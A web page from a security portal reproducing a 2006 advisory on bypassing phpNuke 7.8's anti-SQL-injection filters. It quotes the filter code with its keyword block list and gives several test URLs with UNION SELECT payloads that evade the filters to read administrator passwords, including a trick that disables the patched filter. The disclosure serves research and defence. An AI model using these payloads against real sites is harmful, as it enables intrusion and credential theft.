Waraxe IT Security Portal
Login or Register
October 12, 2024
Menu
Home
Logout
Discussions
Forums
Members List
IRC chat
Tools
Base64 coder
MD5 hash
CRC32 checksum
ROT13 coder
SHA-1 hash
URL-decoder
Sql Char Encoder
Affiliates
y3dips ITsec
Md5 Cracker
User Manuals
AlbumNow
Content
Content
Sections
FAQ
Top
Info
Feedback
Recommend Us
Search
Journal
Your Account
User Info
Welcome, Anonymous
Nickname
Password
(Register)

Membership:
Latest: MichaelSnaRe
New Today: 0
New Yesterday: 0
Overall: 9144

People Online:
Visitors: 86
Members: 0
Total: 86
Full disclosure
SEC Consult SA-20241009-0 :: Local Privilege Escalation via MSI installer in Palo Alto Networks GlobalProtect (CVE-2024-9473)
APPLE-SA-10-03-2024-1 iOS 18.0.1 and iPadOS 18.0.1
Some SIM / USIM card security (and ecosystem) info
SEC Consult SA-20240930-0 :: Local Privilege Escalation via MSI Installer in Nitro PDF Pro (CVE-2024-35288)
Backdoor.Win32.Benju.a / Unauthenticated Remote CommandExecution
Backdoor.Win32.Prorat.jz / Remote Stack Buffer Overflow (SEH)
Backdoor.Win32.Amatu.a / Remote Arbitrary File Write (RCE)
Backdoor.Win32.Agent.pw / Remote Stack Buffer Overflow (SEH)
Backdoor.Win32.Boiling / Remote Command Execution
Defense in depth -- the Microsoft way (part 88): a SINGLEcommand line shows about 20, 000 instances of CWE-73
SEC Consult SA-20240925-0 :: Uninstall Password Bypass in BlackBerry CylanceOPTICS Windows Installer Package (CVE-2024-35214)
Apple iOS 17.2.1 - Screen Time Passcode Retrieval (MitigationBypass)
CyberDanube Security Research 20240919-0 | Multiple Vulnerabilities in Netman204
Submit Exploit CVE-2024-42831
Stored XSS in "Edit Profile" - htmlyv2.9.9
[waraxe-2006-SA#047] - Evading sql-injection filters in phpNuke 7.8





Author: Janek Vind "waraxe"
Date: 25. February 2006
Location: Estonia, Tartu
Web: http://www.waraxe.us/advisory-47.html


Target software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

phpNuke 7.8

Homepage: http://phpnuke.org/


What is phpNuke ?

PHP-Nuke is a news automated system specially designed to be used in Intranets and
Internet. The Administrator has total control of his web site, registered users, and
he will have in the hand a powerful assembly of tools to maintain an active and 100%
interactive web site using databases.


Vulnerabilities:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

phpNuke is known to be exploitable by many sql injection variations. This is due to
very poor coding quality and no-security-in-mind-at-all programming style.
And instead of rewriting phpNuke from scratch, there are many filters, patches, code
improvements and so on, directed to "curing" specific security holes. This particular
advisory will address weaknesses in anti-sql-injection filters, used in phpNuke 7.8
version.


Details
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

So, what can we see in "mainfile.php", line ~20:

----------------[ from source code ]------------------

//Union Tap
//Copyright Zhen-Xjell 2004 http://nukecops.com
//Beta 3 Code to prevent UNION SQL Injections
unset($matches);
unset($loc);
if (preg_match("/([OdWo5NIbpuU4V2iJT0n]{5}) /",
rawurldecode($loc=$_SERVER["QUERY_STRING"]), $matches)) {
die();
}

$queryString = strtolower($_SERVER['QUERY_STRING']);
if (stripos_clone($queryString,'%20union%20') OR stripos_clone($queryString,'/*')
OR stripos_clone($queryString,'*/union/*') OR stripos_clone($queryString,'c2nyaxb0')) {
header("Location: index.php");
die();
}
----------------[ /from source code ]-----------------

Two different filters can be spotted, one of them will stop script execution, second
one redirects to index page.
So let's start with experimenting part.

Test #1:

http://localhost/nuke78/?kala=p0hh%20UNION%20ALL%20SELECT%201,2,3,4,5%20FROM%20nuke_authors/*

... and we get caught by first filter (because we get only blank page).


Ok, let' modify our attack string.

Test #2:

http://localhost/nuke78/?kala=p0hh+UNION+ALL+SELECT+1,2,3,pwd,5+FROM+nuke_authors/*

... And second filter is about kicking our a$$ (we got redirected to index).


Hmmm, how about this one ...

Test #3":

http://localhost/nuke78/?kala=p0hh+UNION+ALL+SELECT+1,2,3,pwd,5+FROM+nuke_authors/%2a


Yeah - we got through :)


And now let's be honest against nuke patches releasers and let's try this working
string against PATCHED phpNuke 7.8.

Details:

patch file - "78patched3dot2.zip"
version 3.2
Download URL - http://www.nukeresources.com/downloadview-details-1037-Nuke_7.8_Patched.html

Test#4:

http://localhost/nuke78p/?kala=p0hh+UNION+ALL+SELECT+1,2,3,pwd,5+FROM+nuke_authors/%2a


and WE GET CAUGHT with message "Illegal Operation" ...

Oh my ...

What we can see in patched "mainfile.php":

----------------[ from source code ]------------------

// Additional security (Union, CLike, XSS)
if(!file_exists('includes/nukesentinel.php')) {
//Union Tap
//Copyright Zhen-Xjell 2004 http://nukecops.com
//Beta 3 Code to prevent UNION SQL Injections
unset($matches);
unset($loc);
if(isset($_SERVER['QUERY_STRING'])) {
if (preg_match("/([OdWo5NIbpuU4V2iJT0n]{5}) /",
rawurldecode($loc=$_SERVER['QUERY_STRING']), $matches)) {
die('Illegal Operation');
}
}
if((!is_admin($admin)) AND (isset($_SERVER['QUERY_STRING']))
AND (!stristr($_SERVER['QUERY_STRING'], "ad_click"))) {
$queryString = $_SERVER['QUERY_STRING'];
if ((stristr($queryString,'%20union%20')) OR (stristr($queryString,'/*'))
OR (stristr($queryString,'*/union/*')) OR (stristr($queryString,'c2nyaxb0')) OR
(stristr($queryString,'+union+')) OR (stristr($queryString,'http://')) OR
((stristr($queryString,'cmd=')) AND (!stristr($queryString,'&cmd'))) OR
((stristr($queryString,'exec')) AND (!stristr($queryString,'execu'))) OR
(stristr($queryString,'concat'))) {
die('Illegal Operation');
}
}
}----------------[ /from source code ]-----------------

This code seems very restrictive, but ... wait a minute ...

"AND (!stristr($_SERVER['QUERY_STRING'], "ad_click"))) {" - what is this ??????

This is code snippet for DEACTIVATING anti-sql-injection filter in case of
specific events. Yeah, this little code fragment renders all the filter absolutely
useless:

Test #5:

http://localhost/nuke78p/?kala=p0hh+UNION+ALL+SELECT+1,2,3,4,5+FROM+ppp/%2aad_click


.. and patched phpNuke 7.8 will let through our testing sql injection string!!



Greets to all who know me and have a nice day ;)



How to fix:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Be creative and try to improve that filter by yourself :)


Greetings:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Greetz to LINUX, Heintz, y3dips, shai-tan, slimjim100, zer0-c00l and
all other active members from waraxe forum !

Raido Kerna - tervitused!


Additional resources:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

DX expeditions database - http://www.dxdb.com/

HDD data recovery - http://www.hdd911.com/



Contact:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

come2waraxe@yahoo.com
Janek Vind "waraxe"

Homepage: http://www.waraxe.us/

---------------------------------- [ EOF ] ------------------------------------









Copyright © by Waraxe IT Security Portal All Right Reserved.

Published on: 2006-02-25 (26981 reads)

[ Go Back ]
Top members by posts
waraxe  waraxe - 2407
vince213333  vince213333 - 737
pexli  pexli - 665
Mullog  Mullog - 540
demon  demon - 485
shai-tan  shai-tan - 477
LINUX  LINUX - 404
Cyko  Cyko - 375
tsabitah  tsabitah - 328
y3dips  y3dips - 281
Cybercrime news
Recent Veeam Vulnerability Exploited In Ransomware Attacks
FBI Created A Cryptocurrency So It Could Watch It Being Abused
Ransomware Double-Extortion Group Listings Peaked In 2024
Ukrainian Malware Operator Pleads Guilty In US Court
Healthcare Orgs Warned Of Trinity Ransomware Attacks
About A Quarter Million Comcast Subscribers Had Their Data Stolen From Debt Collector
Apple Couldn't Tell Fake iPhones From Real Ones, Lost $2.5M In Scam
Ransomware Hits Critical Infrastructure Hard, Costs Adding Up
Ransowmare Crew Infects 100+ Orgs Monthly With New MedusaLocker Variant
Evil Corp/REvil Malware Crime Group Outed As Family Affair
More LockBit Hackers Arrested, Unmasked As Servers Siezed
Ransomware Forces Hospital To Turn Away Ambulances
Ransomware Gang Using Stolen MS Entra ID Creds To Bust Into Cloud
RansomHub Genius Tries To Put The Squeeze On Delaware Libraries
US Indicts Two Over Socially Engineered $230M+ Crypto Heist
Life Imitates xkcd Comic As Florida Gang Beats Crypto Password From Retiree
Cyber Crooks Strut Away With Haute Couture Harvey Nichols Data
Marko Polo Hackers Found To Be Running Dozens Of Scams
Hackers Demand $6 Million From Seattle Airport Operators
Recent WhatsUp Gold Vulnerabilities Possibly Exploited In Ransomware Attacks
Cops Across The World Arrest 51 In Orchestrated Takedown Of Ghost Crime Platform
France Uses Tough, Untested Cybercrime Law To Target Durov
Ransomware Group Leaks Data Stolen From Kawasaki Motors
Old WHOIS Domain Could Have Issued Fraudulent TLS/SSL Certs
Hackers Use Cloud Services To Target Financial And Insurance Firms
Hacker news
Recent Veeam Vulnerability Exploited In Ransomware Attacks
Fidelity Investments Data Breach Impacts 77,000 Customers
ShadowLogic Attack Targets AI Model Graphs To Create Codeless Backdoors
Meet The Team Paid To Break Into Top Secret Bases
Doctor Web Refutes Hackers' Claim Of User Data Theft
Internet Archive Leaks User Info And Succumbs To DDoS
Casio Hit By Cyberattack
Microsoft Confirms Exploited Zero-Day In Windows Management Console
Ransomware Double-Extortion Group Listings Peaked In 2024
Qualcomm Urges Patching After Targeted Exploitation
Ukrainian Malware Operator Pleads Guilty In US Court
Okta Classic Customers Told To Check Logs For Sign-On Bypass
American Water Shuts Down Customer Portal Amid Cybersecurty Incident
You Might Have The Skills That Cyber-Security Wants
Healthcare Orgs Warned Of Trinity Ransomware Attacks
About A Quarter Million Comcast Subscribers Had Their Data Stolen From Debt Collector
Hacker Attack Disrupts Russian State Media On Putin's Birthday
China's Salt Typhoon Hacked Multiple Telcos
LLM Hijacking Of Cloud Infrastructure Uncovered By Researchers
Thousands Of Linux Systems Infected By Malware Since 2021
DOJ, Microsoft Take Down 107 Russian-Backed Star Blizzards Domains
Ransowmare Crew Infects 100+ Orgs Monthly With New MedusaLocker Variant
Ivanti EPM Vulnerability Exploited In The Wild
Zero-Day Breach At Rackspace Sparks Vendor Blame Game
More LockBit Hackers Arrested, Unmasked As Servers Siezed
Space Raider game for Android, free download - Space Raider gameplay video - Zone Raider mobile games
All logos and trademarks in this site are property of their respective owner. The comments and posts are property of their posters, all the rest (c) 2004-2024 Janek Vind "waraxe"
Page Generation: 0.047 Seconds